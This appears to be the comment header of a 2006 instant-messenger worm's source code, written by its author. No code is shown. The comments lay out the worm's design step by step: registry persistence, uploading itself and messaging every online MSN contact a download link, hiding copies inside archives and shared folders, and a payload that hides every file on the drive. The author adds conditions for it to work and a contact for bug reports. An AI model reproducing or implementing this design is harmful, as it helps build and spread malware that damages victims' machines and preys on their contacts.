' W32/Nurofen.worm '
' XMAS 2006 '
'''''''''''''''''''''''''''''''''

'1: adds to registry run key to start with windows "c:\MSNUpdate.exe".
'2: waits for msn to load by checking processes for "msnmsgr" then waits and checks to see if it's signed in and appear as online.
'3: uploads a copy of itself to the filesever with a random file name
'4: get's a random topic & gets all online contacts
'5: sends the random topic with the url to the worm download & url to DotNet framework 2.0 :p
'6: checks if the WinRar.exe exists by checking for the path in the registry
'7: searches for rar & zip files in it's folder and drops a copy of itself inside them
'8: Find MSN shared folders and copy as "Game.exe" to them.
'9: Kinda harmless payload that hides every file on the drive (attr +H)

'My worm will work depending on the follwoing reasons:
'1: The file server used dont change how it handles uploads
'2: You dont change the code and mess it all up!
'3: you have .net 2.0
'4: you have internet access
'4: its bug free (i think it is but report any bugs to me genetix [AT] phreaker [Dot] net
'5: If it dont work for people trying to spread it then I dont care! I hope it fails on you.
